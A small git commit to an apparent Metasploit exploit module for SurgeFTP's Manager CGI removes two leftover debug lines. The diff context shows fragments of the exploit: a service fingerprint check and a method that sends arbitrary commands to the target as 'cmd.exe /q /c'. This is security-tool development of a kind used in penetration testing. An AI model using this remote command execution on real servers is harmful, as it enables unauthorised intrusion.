Oops, didn't mean to keep these lines

unstable
sinn3r 2012-12-21 22:22:58 -06:00
parent ca72132fc0
commit 49248c79d6
1 changed files with 0 additions and 2 deletions

View File

@ -53,7 +53,6 @@ class Metasploit3 < Msf::Exploit::Remote
def check
res = send_request_raw({'uri'=>'/cgi/surgeftpmgr.cgi'})
print_line(Rex::Text.to_hex_dump(res.body))
if res and res.body =~ /surgeftp\x20\x0d\x0a\x20\x20Manager CGI/
return Exploit::CheckCode::Detected
else
@ -63,7 +62,6 @@ class Metasploit3 < Msf::Exploit::Remote
def execute_command(cmd, opts)
# Unfortunately we can't use env vars
#cmd = cmd.gsub(/\%TEMP\%\\/, 'C:\\')
cmd = cmd.gsub(/\%TEMP\%\\/, datastore['FOLDER'])
http_send_command("cmd.exe /q /c #{cmd}")
end